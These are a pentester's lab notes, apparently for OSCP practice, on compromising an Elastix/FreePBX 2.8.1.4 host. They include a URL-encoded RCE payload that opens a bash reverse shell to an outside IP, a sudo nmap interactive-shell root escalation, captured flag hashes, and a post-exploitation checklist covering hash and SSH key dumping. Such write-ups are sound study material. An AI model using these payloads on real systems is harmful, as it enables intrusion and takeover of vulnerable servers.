10.10.10.7

Enumeration

autorecon 10.10.10.7

dirsearch:

```
[23:56:20] 403 -  289B  - /.ht_wsr.txt
[23:56:20] 403 -  292B  - /.htaccess.orig
[23:56:20] 403 -  292B  - /.htaccess.bak1
[23:56:20] 403 -  294B  - /.htaccess.sample
[23:56:20] 403 -  292B  - /.htaccess.save
[23:56:21] 403 -  293B  - /.htaccess_extra
[23:56:21] 403 -  292B  - /.htaccess_orig
[23:56:21] 403 -  290B  - /.htaccess_sc
[23:56:21] 403 -  290B  - /.htaccessBAK
[23:56:21] 403 -  291B  - /.htaccessOLD2
[23:56:21] 403 -  282B  - /.htm
[23:56:21] 403 -  283B  - /.html
[23:56:22] 403 -  292B  - /.htpasswd_test
[23:56:22] 403 -  288B  - /.htpasswds
[23:56:22] 403 -  289B  - /.httr-oauth
[23:56:24] 403 -  290B  - /.htaccessOLD
[23:58:59] 301 -  309B  - /admin  ->  https://10.10.10.7/admin/
[23:59:06] 302 -    0B  - /admin/  ->  config.php
[23:59:07] 403 -  293B  - /admin/.htaccess
[23:59:07] 302 -    0B  - /admin/?/login  ->  config.php
[23:59:12] 302 -    0B  - /admin/index.php  ->  config.php
[23:59:14] 401 -    2KB - /admin/config.php
[00:01:23] 403 -  286B  - /cgi-bin/
[00:01:46] 200 -    1KB - /configs/
[00:01:47] 200 -    2KB - /config.php
[00:02:37] 403 -  284B  - /error/
[00:02:45] 200 -  894B  - /favicon.ico
[00:03:09] 301 -  308B  - /help  ->  https://10.10.10.7/help/
[00:03:20] 301 -  310B  - /images  ->  https://10.10.10.7/images/
[00:03:24] 200 -  346B  - /help/
[00:03:24] 200 -   29KB - /images/
[00:03:26] 200 -    2KB - /index.php/login/
[00:03:29] 200 -    2KB - /index.php
[00:03:43] 301 -  308B  - /lang  ->  https://10.10.10.7/lang/
[00:03:49] 301 -  308B  - /libs  ->  https://10.10.10.7/libs/
[00:04:05] 301 -  308B  - /mail  ->  https://10.10.10.7/mail/
[00:04:06] 403 -  286B  - /mailman/
[00:04:07] 200 -  548B  - /mailman/listinfo
[00:04:26] 301 -  311B  - /modules  ->  https://10.10.10.7/modules/
[00:04:51] 301 -  309B  - /panel  ->  https://10.10.10.7/panel/
[00:04:54] 200 -    1KB - /panel/
```

```
[00:05:51] 200 -   28B  - /robots.txt
[00:06:28] 301 -  310B  - /static  ->  https://10.10.10.7/static/
[00:06:50] 301 -  310B  - /themes  ->  https://10.10.10.7/themes/
[00:06:50] 200 -    3KB - /themes/
[00:07:14] 301 -  307B  - /var  ->  https://10.10.10.7/var/
[00:07:15] 200 -  702B  - /var/cache/
[00:07:17] 200 -    1KB - /var/
[00:07:24] 200 -  706B  - /var/backups/
```

TCP

UDP

Web Services

Nikto

Dirb|DirBuster

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Exploitation

Service Exploited: FreePBX 2.8.1.4
Vulnerability Type: RCE
Exploit POC: https://www.exploit-db.com/exploits/18649
Description:

Discovery of Vulnerability

You go to https://10.10.10.7/admin/config.php type in gibberish username and password you will be directed to FreePBX panel but Unauthorized.

You can see the version number being 2.8.1.4

Google there will be a lot of RCE exploit

Exploit Code Used

```
[HOST]/recordings/misc/callme_page.php?action=c&callmenum=1234@from
-internal/n%0D%0AApplication:%20system%0D%0AData:%20[CMD]%0D%0A%0D%0A
```

https://10.10.10.7/recordings/misc/callme_page.php?action=c&callmenum=1234@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.37%2F4444%200%3E%261%0D%0A%0D%0A

I url-encoded the bash reverse shell command

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Post Exploitation

Script Results

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability

sudo -l output:

```
    (root) NOPASSWD: /sbin/shutdown
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /bin/touch
    (root) NOPASSWD: /bin/chmod
    (root) NOPASSWD: /bin/chown
    (root) NOPASSWD: /sbin/service
    (root) NOPASSWD: /sbin/init
    (root) NOPASSWD: /usr/sbin/postmap
    (root) NOPASSWD: /usr/sbin/postfix
    (root) NOPASSWD: /usr/sbin/saslpasswd2
    (root) NOPASSWD: /usr/sbin/hardware_detector
    (root) NOPASSWD: /sbin/chkconfig
    (root) NOPASSWD: /usr/sbin/elastix-helper
```

Exploit Code Used

```
sudo nmap --interactive
nmap> !sh
```

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

Proof|Flags|Other

root.txt: 7c9d3f38e4336c1fa3b7caa09493d926
user.txt: d6f03c292fac13d84588dcf294f581c6

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress

- □ nmap -sU ipaddress

Service Scanning

WebApp

- □ Nikto
- □ dirb
- □ dirbuster
- □ wpscan
- □ dotdotpwn
- □ view source
- □ davtest\cadevar
- □ droopscan
- □ joomscan
- □ LFI\RFI Test

Linux\Windows

- □ snmpwalk -c public -v1 *ipaddress* 1
- □ smbclient -L //ipaddress
- □ showmount -e ipaddress port
- □ rpcinfo
- □ Enum4Linux

Anything Else

- □ nmap scripts (locate *nse* | grep servicename)
- □ hydra
- □ MSF Aux Modules
- □ Download the softward

Exploitation

- □ Gather Version Numbes
- □ Searchsploit
- □ Default Creds
- □ Creds Previously Gathered
- □ Download the software

Post Exploitation

Linux

- □ linux-local-enum.sh
- □ linuxprivchecker.py
- □ linux-exploit-suggestor.sh
- □ unix-privesc-check.py

Windows

- □ wpc.exe
- □ windows-exploit-suggestor.py
- □ windows_privesc_check.py
- □ windows-privesc-check2.exe

Priv Escalation

- □ acesss internal services (portfwd)
- □ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book